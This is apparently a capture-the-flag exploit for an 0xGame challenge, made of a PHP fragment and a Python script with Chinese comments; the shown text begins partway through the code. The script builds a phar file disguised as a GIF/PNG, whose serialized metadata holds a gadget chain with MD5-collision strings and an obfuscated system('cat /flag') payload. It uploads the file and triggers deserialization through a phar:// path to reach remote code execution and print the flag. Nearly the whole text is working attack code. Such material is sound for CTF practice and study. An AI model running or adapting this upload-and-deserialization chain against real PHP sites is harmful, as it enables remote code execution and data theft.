$p->addFromString('test.txt', '');                    // <- 必须叫 test.txt
unset($p);

copy($f . '.phar', $f);
unlink($f . '.phar');

echo $f, ' sha1=', sha1_file($f), "\n";

# -*- coding: utf-8 -*-
import os, re, sys, subprocess, tempfile, urllib.request

BASE = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://target/'

PHP_GEN = r'''<?php
class clannad { public $a; public $b; }
class air { public $md5a; public $md5b; public $arg1; public $arg2; public $last; public $afterreplaced; public $rce; }
class SOS { public $a; }

$P = '(~"' . (~'system') . '")(~"' . (~'cat /flag') . '");';
$T = '";s:3:"rce";s:' . strlen($P) . ':"' . $P . '";}';

$air = new air;
$air->md5a = "\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
$air->md5b = "\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
$air->arg2 = str_repeat('cc', strlen($T)) . $T;

$cl = new clannad; $cl->a = $air; $cl->b = '1e5';
$sos = new SOS; $sos->a = $cl;

$f = $argv[1];
@unlink($f . '.phar'); @unlink($f);
$p = new Phar($f . '.phar');
$p->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$p->setMetadata($sos);
$p->addFromString('test.txt', '');
unset($p);
copy($f . '.phar', $f); unlink($f . '.phar');
echo sha1_file($f);
'''

def build_phar(workdir):
    php_src = os.path.join(workdir, 'gen.php')
    open(php_src, 'w', encoding='utf-8').write(PHP_GEN)
    target = os.path.join(workdir, 'pwn.png')
    out = subprocess.run(['php', '-d', 'phar.readonly=0', php_src, target],
                         capture_output=True, text=True)
    if out.returncode != 0:
        raise RuntimeError('php 生成失败: ' + out.stderr)
    return target, out.stdout.strip()

def upload(target, path):
    boundary = '----WebKitFormBoundary' + os.urandom(8).hex()
    data = open(path, 'rb').read()
    body = b''
    body += ('--%s\r\nContent-Disposition: form-data; name="art"; filename="pwn.png"\r\n'
             'Content-Type: image/png\r\n\r\n' % boundary).encode()
    body += data
    body += ('\r\n--%s--\r\n' % boundary).encode()
    req = urllib.request.Request(target, data=body,
        headers={'Content-Type': 'multipart/form-data; boundary=' + boundary})
    r = urllib.request.urlopen(req, timeout=30)
    html = r.read().decode('utf-8', 'replace')
    m = re.search(r'uploaded: (uploads/[0-9a-f]{40}\.\w+)', html)
    if not m:
        raise RuntimeError('上传失败: ' + html[:300])
    return m.group(1)

def trigger(target, rel):
    url = '%s/?page=phar://%s/test.txt' % (target, rel)
    r = urllib.request.urlopen(url, timeout=20)
    return r.read().decode('utf-8', 'replace')

def main():
    with tempfile.TemporaryDirectory() as wd:
        path, sha1 = build_phar(wd)
        print('[*] phar sha1 =', sha1)
        rel = upload(BASE, path)
        print('[*] uploaded =', rel)
        html = trigger(BASE, rel)
        m = re.search(r'0xGame\{[^}]+\}', html)
        print('[+] FLAG:', m.group(0) if m else '(没抓到，原始响应见下)')
        if not m:
            print(html[:800])

if __name__ == '__main__':
    main()